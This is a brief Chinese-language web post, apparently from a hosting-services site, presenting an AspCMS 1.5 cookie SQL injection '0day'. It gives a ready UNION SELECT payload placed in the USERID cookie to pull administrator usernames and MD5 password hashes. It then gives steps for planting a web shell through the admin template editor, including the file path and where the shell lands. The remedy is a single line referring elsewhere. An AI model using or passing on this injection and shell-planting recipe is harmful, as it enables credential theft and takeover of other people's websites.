Aspcms 1.5 COOKIES注入0day，注冊一個帳號。然后登陸后修改COOKIES的USERID值
在后面加上注入語句:
UNION SELECT 1,2,3,4,5,6,username,adminpassword,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from Aspcms_admins
然后編輯帳號就能看到管理員的帳號和MD5密碼值。
后臺拿SHELL：
訪問admin/_Style/AspCms_TemplateEdit.asp?filename=tmdsb.asp在里面加一句話或者大馬。
保存后SHELL在風格目錄下面。Templates/default/html/tmdsb.asp
修復：參考本站cookies注入文章
渝公網安備 50024202000196號
域名注冊知識
虛擬主機知識
網站建設知識
網絡推廣知識
網絡營銷知識
常見技術問題
QQ空間
新浪微博
開心網
人人網